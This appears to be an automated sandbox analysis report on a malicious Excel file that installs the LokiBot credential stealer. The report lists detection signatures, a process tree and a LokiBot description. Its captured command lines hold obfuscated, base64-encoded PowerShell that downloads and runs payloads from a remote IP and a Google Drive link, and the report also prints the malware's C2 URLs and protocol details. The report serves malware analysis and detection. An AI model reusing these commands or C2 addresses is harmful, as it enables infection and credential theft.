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Windows
Analysis Report
Purchase order.xls
Overview
General Information
Detection
Lokibot
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Lokibot
Yara detected Powershell download and execute
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected aPLib compressed binary
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Searches the installation path of Mozilla Firefox
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 3556 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - mshta.exe (PID: 3848 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - powershell.exe (PID: 3944 cmdline:
"C:\Window s\SysTEM32 \winDOWspO WERSheLL\v 1.0\pOweRS heLl.ExE" "poWERShEL l -Ex bYPA ss -N OP -w 1 -C DEVICECrE DENtiaLDEP loymenT.EX e ; IeX($( iEx('[sySt em.TeXt.en COdIng]'+[ ChAr]58+[C hAr]0x3A+' utF8.geTSt RiNg([SyST eM.cOnveRt ]'+[CHar]0 x3a+[ChAR] 58+'FROMBA SE64sTRINg ('+[cHaR]3 4+'JExBTmY gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gPSAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBhRGQtV FlwZSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAtTWV tYmVyZEVma U5pVElvTiA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA nW0RsbEltc G9ydCgiVXJ sbU9OIiwgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgQ 2hhclNldCA 9IENoYXJTZ XQuVW5pY29 kZSldcHVib GljIHN0YXR pYyBleHRlc m4gSW50UHR yIFVSTERvd 25sb2FkVG9 GaWxlKElud FB0ciAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBidEd sVWpzLHN0c mluZyAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBjRFN GWUcsc3Rya W5nICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIGVEYWN ZeVRZWUNRL HVpbnQgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgQmt ab0UsSW50U HRyICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIEFqUXR iYXVIcWJUK TsnICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIC1OYU1 lICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICJVYlRic GlLZSIgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLW5 BbWVTcEFjZ SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBEWlZyQVJ NZFdhaCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAtU GFzc1RocnU 7ICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICRMQU5mO jpVUkxEb3d ubG9hZFRvR mlsZSgwLCJ odHRwOi8vM TkyLjMuMTc 2LjE0MS80M S9zaW1wbGV 0aGluZ3N3a XRoZ3JlYXR 0aGlnbnNna XZlbm1lYmV zdHRoaW5nc y50SUYiLCI kRU52OkFQU ERBVEFcc2l tcGxldGhpb mdzd2l0aGd yZWF0dGhpZ 25zZ2l2ZW5 tZWJlc3Qud mJTIiwwLDA pO1N0YVJ0L VNMZUVQKDM pO3N0YXJ0I CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CIkZW52OkF QUERBVEFcc 2ltcGxldGh pbmdzd2l0a GdyZWF0dGh pZ25zZ2l2Z W5tZWJlc3Q udmJTIg==' +[Char]34+ '))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 4056 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Ex bYPAss -NOP -w 1 -C DEVICE CrEDENtiaL DEPloymenT .EXe MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 3316 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\lwndur zh\lwndurz h.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 1960 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES7AEA.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\lwn durzh\CSCC 4D24F44B33 B435588447 526C34E647 .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 2640 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\simpl ethingswit hgreatthig nsgivenmeb est.vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 1668 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' JiggJHBTaG 9tZVsyMV0r JFBzaE9tZV szMF0rJ3gn KSAoICgoJ3 N3UmltYWdl VXJsID0gNW w3JysnaHR0 cHM6Ly8nKy dkcml2ZS5n b29nbGUuY2 9tL3VjP2V4 cG9ydD1kb3 dubG9hZCZp ZD0xQUlWZ0 pKSnYxRjZ2 UzRzVU95Ym 5ILXNEdlVo Qll3dXIgNW w3O3N3Undl YkNsaWVudC A9IE5ldy1P YmplY3QgU3 lzdGVtLk5l dC5XJysnZW JDbGllbnQ7 c3dSaW1hZ2 VCeXRlcyA9 IHN3UndlYk NsaWVudC5E b3dubG9hZE RhdGEoc3dS aW1hZ2VVcm wpO3N3Jysn UmltYWdlVG V4dCA9IFtT eXN0ZW0nKy cuVGV4dC5F bmNvZGluZ1 0nKyc6OlVU RjguR2V0U3 RyaW5nKHN3 UmltYWdlQn l0ZXMpO3N3 UnN0YXJ0Rm xhZyA9IDVs Nzw8QkEnKy dTRTY0X1NU QVJUPicrJz 41bDc7c3dS ZW5kRmxhZy A9IDVsNzw8 QkFTRTY0X0 VORD4+NWw3 O3N3UnMnKy d0YXJ0SW5k ZXggPSBzd1 JpbWFnZVRl eHQuSW5kZX hPZicrJyhz d1JzdGFydE ZsYWcpO3N3 UmVuZEluZG V4ID0gc3dS aW1hZ2VUJy snZXh0Lklu ZGV4T2Yoc3 dSZW5kRmxh Zyk7c3dSc3 RhcnRJJysn bmRleCAtZ2 UgMCAtYW5k IHMnKyd3Um VuZEluZGV4 IC1ndCBzd1 JzdGEnKydy dEluZGV4O3 N3UnN0YXJ0 SW5kZXggKz 0gc3dSc3Rh cnRGbGFnLk xlbmd0aDtz d1JiYXNlNj RMZW5ndGgg PSBzd1Jlbm RJbmRleCAt IHN3UnN0YX J0SW5kZXg7 c3dSYmFzZT Y0Q29tbWFu ZCA9IHN3Um ltYWdlVGV4 dC5TdWJzJy sndHJpbmco c3dSc3Rhcn RJbmRleCwg c3dSYmFzZT Y0TGVuZ3Ro KTtzd1JiYX NlNjRSZXZl cnNlZCA9IC 1qbycrJ2lu IChzd1JiYX NlNjRDb21t YW5kLlRvQ2 hhckFycmF5 KCcrJykgRn cxJysnICcr J0ZvckVhY2 gtT2JqZWN0 IHsgc3dSXy B9KVstMS4u LShzd1JiYX NlNjRDb21t YW5kLkxlbm d0aCldO3N3 UmNvbW1hbm RCeXRlcyA9 JysnIFtTeX N0ZW0uQ29u dmVydF06Ok Zyb21CYXNl NjRTdHJpbm coc3dSYmFz ZTY0UmV2ZX JzZWQpO3N3 UmxvYWRlZE Fzc2VtYmx5 ID0gW1N5c3 RlbS5SZWZs ZWN0aW9uLk Fzc2VtYmx5 XTo6TG9hZC hzd1Jjb21t YW5kQnl0ZX MpO3N3UnZh aU1ldGhvZC A9IFtkJysn bmxpYicrJy 5JTy5Ib21l XS5HZXRNZX Rob2QoNWw3 VkFJNWw3KT tzd1J2YWlN ZXRob2QuSW 52b2tlKHN3 Um51bGwsIE AoNWw3dHh0 LlRUUkxQTV MvMTQvMTQx LjY3MS4zLj I5MS8vOnB0 dGg1bDcsID VsN2Rlc2F0 aXZhZG81bD csIDVsN2Rl c2F0aXZhZG 81bDcsIDVs N2Rlc2F0aX ZhZG8nKyc1 bDcsICcrJz VsN2FzcG5l dF9yZWdicm 93c2VyczVs NywgNWw3ZC crJ2VzYXRp dmFkbzVsNy wgNWw3ZGVz YXRpdmFkbz VsNyw1bDdk ZXNhdGl2YW RvNWw3LDVs N2Rlc2F0aX ZhZG81bDcs NWw3ZGVzYX RpdmFkbzVs Nyw1bDdkZX NhdGl2YWRv NWw3LDVsN2 Rlc2F0aXZh ZG81bDcsNW w3MTVsNyw1 bDdkZXNhdG l2YWRvNWw3 KSk7JykgLX JlUExhY0Un NWw3JyxbY0 hhcl0zOSAt cmVQTGFjRS Anc3dSJyxb Y0hhcl0zNi AgLUNSZXBM QWNlICAnRn cxJyxbY0hh cl0xMjQpIC k=';$OWjux d = [syste m.Text.enc oding]::UT F8.GetStri ng([system .Convert]: :Frombase6 4String($c odigo));po wershell.e xe -window style hidd en -execut ionpolicy bypass -No Profile -c ommand $OW juxD MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3804 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "&( $p Shome[21]+ $PshOme[30 ]+'x') ( ( ('swRimage Url = 5l7' +'https:// '+'drive.g oogle.com/ uc?export= download&i d=1AIVgJJJ v1F6vS4sUO ybnH-sDvUh BYwur 5l7; swRwebClie nt = New-O bject Syst em.Net.W'+ 'ebClient; swRimageBy tes = swRw ebClient.D ownloadDat a(swRimage Url);sw'+' RimageText = [System '+'.Text.E ncoding]'+ '::UTF8.Ge tString(sw RimageByte s);swRstar tFlag = 5l 7<<BA'+'SE 64_START>' +'>5l7;swR endFlag = 5l7<<BASE6 4_END>>5l7 ;swRs'+'ta rtIndex = swRimageTe xt.IndexOf '+'(swRsta rtFlag);sw RendIndex = swRimage T'+'ext.In dexOf(swRe ndFlag);sw RstartI'+' ndex -ge 0 -and s'+' wRendIndex -gt swRst a'+'rtInde x;swRstart Index += s wRstartFla g.Length;s wRbase64Le ngth = swR endIndex - swRstartI ndex;swRba se64Comman d = swRima geText.Sub s'+'tring( swRstartIn dex, swRba se64Length );swRbase6 4Reversed = -jo'+'in (swRbase6 4Command.T oCharArray ('+') Fw1' +' '+'ForE ach-Object { swR_ }) [-1..-(swR base64Comm and.Length )];swRcomm andBytes = '+' [Syste m.Convert] ::FromBase 64String(s wRbase64Re versed);sw RloadedAss embly = [S ystem.Refl ection.Ass embly]::Lo ad(swRcomm andBytes); swRvaiMeth od = [d'+' nlib'+'.IO .Home].Get Method(5l7 VAI5l7);sw RvaiMethod .Invoke(sw Rnull, @(5 l7txt.TTRL PMS/14/141 .671.3.291 //:ptth5l7 , 5l7desat ivado5l7, 5l7desativ ado5l7, 5l 7desativad o'+'5l7, ' +'5l7aspne t_regbrows ers5l7, 5l 7d'+'esati vado5l7, 5 l7desativa do5l7,5l7d esativado5 l7,5l7desa tivado5l7, 5l7desativ ado5l7,5l7 desativado 5l7,5l7des ativado5l7 ,5l715l7,5 l7desativa do5l7));') -rePLacE' 5l7',[cHar ]39 -rePLa cE 'swR',[ cHar]36 -C RepLAce 'F w1',[cHar] 124) )" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - aspnet_regbrowsers.exe (PID: 3900 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\asp net_regbro wsers.exe" MD5: 04AA198D72229AEED129DC20201BF030) - mshta.exe (PID: 3164 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - powershell.exe (PID: 1488 cmdline:
"C:\Window s\SysTEM32 \winDOWspO WERSheLL\v 1.0\pOweRS heLl.ExE" "poWERShEL l -Ex bYPA ss -N OP -w 1 -C DEVICECrE DENtiaLDEP loymenT.EX e ; IeX($( iEx('[sySt em.TeXt.en COdIng]'+[ ChAr]58+[C hAr]0x3A+' utF8.geTSt RiNg([SyST eM.cOnveRt ]'+[CHar]0 x3a+[ChAR] 58+'FROMBA SE64sTRINg ('+[cHaR]3 4+'JExBTmY gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gPSAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBhRGQtV FlwZSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAtTWV tYmVyZEVma U5pVElvTiA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA nW0RsbEltc G9ydCgiVXJ sbU9OIiwgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgQ 2hhclNldCA 9IENoYXJTZ XQuVW5pY29 kZSldcHVib GljIHN0YXR pYyBleHRlc m4gSW50UHR yIFVSTERvd 25sb2FkVG9 GaWxlKElud FB0ciAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBidEd sVWpzLHN0c mluZyAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBjRFN GWUcsc3Rya W5nICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIGVEYWN ZeVRZWUNRL HVpbnQgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgQmt ab0UsSW50U HRyICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIEFqUXR iYXVIcWJUK TsnICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIC1OYU1 lICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICJVYlRic GlLZSIgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLW5 BbWVTcEFjZ SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBEWlZyQVJ NZFdhaCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAtU GFzc1RocnU 7ICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICRMQU5mO jpVUkxEb3d ubG9hZFRvR mlsZSgwLCJ odHRwOi8vM TkyLjMuMTc 2LjE0MS80M S9zaW1wbGV 0aGluZ3N3a XRoZ3JlYXR 0aGlnbnNna XZlbm1lYmV zdHRoaW5nc y50SUYiLCI kRU52OkFQU ERBVEFcc2l tcGxldGhpb mdzd2l0aGd yZWF0dGhpZ 25zZ2l2ZW5 tZWJlc3Qud mJTIiwwLDA pO1N0YVJ0L VNMZUVQKDM pO3N0YXJ0I CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CIkZW52OkF QUERBVEFcc 2ltcGxldGh pbmdzd2l0a GdyZWF0dGh pZ25zZ2l2Z W5tZWJlc3Q udmJTIg==' +[Char]34+ '))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 1472 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Ex bYPAss -NOP -w 1 -C DEVICE CrEDENtiaL DEPloymenT .EXe MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 1944 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\3w1sxm qs\3w1sxmq s.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 2520 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES9251.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\3w1 sxmqs\CSC4 FC5C9177C1 B495AB64B9 617174E2B9 E.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 2836 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\simpl ethingswit hgreatthig nsgivenmeb est.vbS" MD5: 045451FA238A75305CC26AC982472367)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Loki Password Stealer (PWS), LokiBot | "Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2 |
{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "94.156.177.220/simple/five/fre.php"]}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Lokibot_1 | Yara detected Lokibot | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Lokibot | Yara detected Lokibot | Joe Security | ||
JoeSecurity_aPLib_compressed_binary | Yara detected aPLib compressed binary | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
Windows_Trojan_Lokibot_1f885282 | unknown | unknown |
| |
Windows_Trojan_Lokibot_0f421617 | unknown | unknown |
| |
Click to see the 9 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Lokibot | Yara detected Lokibot | Joe Security | ||
JoeSecurity_aPLib_compressed_binary | Yara detected aPLib compressed binary | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
Windows_Trojan_Lokibot_1f885282 | unknown | unknown |
| |
Windows_Trojan_Lokibot_0f421617 | unknown | unknown |
| |
Click to see the 11 entries |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |